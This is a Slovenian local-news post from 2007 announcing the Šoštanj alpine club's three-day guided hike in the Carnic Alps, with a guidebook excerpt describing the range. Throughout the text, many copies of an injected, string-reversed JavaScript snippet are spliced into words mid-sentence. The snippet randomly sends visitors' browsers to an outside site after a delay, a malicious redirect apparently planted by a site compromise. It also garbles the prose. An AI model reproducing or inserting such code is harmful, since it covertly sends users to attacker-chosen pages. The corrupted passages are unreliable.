Tridnevna tura v Karnijske Alpe

21. avgusta, 2007
by Sostanj.info
0

Planinsko društvo Šoštanj vabi na tridnevno turo v Karnijske Alpe (Italija in Avstrija), kjer bomo v dveh skupinah obiskali najatraktivnejše predele tega področja.

V treh dneh našega obiska Karnijskih Alp bomo hodili v dveh skupinah, ki se bosta ločili po tem, da bo ena skupina poskusila premagati daljše razdalje in tehnično zahtevnejše poti (zelo zahtevne označene poti ter označene plezalne poti), medtem ko bo druga skupina večinoma hodila po lahkih označenih poteh, v manjšem obsegu pa tudi po zahtevnih označenih poteh. Spanje bo za obe skupini organizirano na istih kočah, zatobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to bodo tudi možni prehodi med skupinama.

Poglejte si:

Andrej in Urška Stritar sta v svojem vodniku Karnijska potepanja zapisala: Karnijske Alpe najenostavneje opišemo kot nekaj med Karavankami in Julijskimi Alpami. Med njimi je veliko vrhov, nižjih od 2000m, ki s svojimi travnatimi in zaobljenimi vesinami, številnimi planinami in nezahtevnimi markiranimi potmi spominjajo na Karavanke. Precej je tudi zahtevnih skalnatih vršacev, ki sežejo tja čez 2700m in spominjajo na naše Julijce. Na najvišje tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}točke in po slikovitih dolinah so speljane lažje označene poti, preizkusimo se lahko na izpostavljenih zavarovanih plezalnih poteh, naletimo pa tudi na komajda označene in redko uhojene stezice. Morda je manj navpičnih sten, kakršne imamo v Julijskih Alpah, zatobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to pa izstobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}topajo divja razdrapana pobočja, ki padajo k zaprodenim rekam v svojem podnožju.

Območje Karnijskih Alp je večje od Julijskih Alp. Na vzhodu se začnejo nad Trbižem zelo blizu naše tromeje na Peči. Od Zahodnih Julijcev jih loči globoka dolina Bele, po kateri sta speljani avtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tocesta in železnica iz Avstrije proti Vidmu. Glavni greben Karnijskih Alp je hkrati mejni greben med Italijo in Avstrijo. Pogorje se od meje razteza daleč na jug, prav do Padske nižine, na zahodu pa do reke Piave.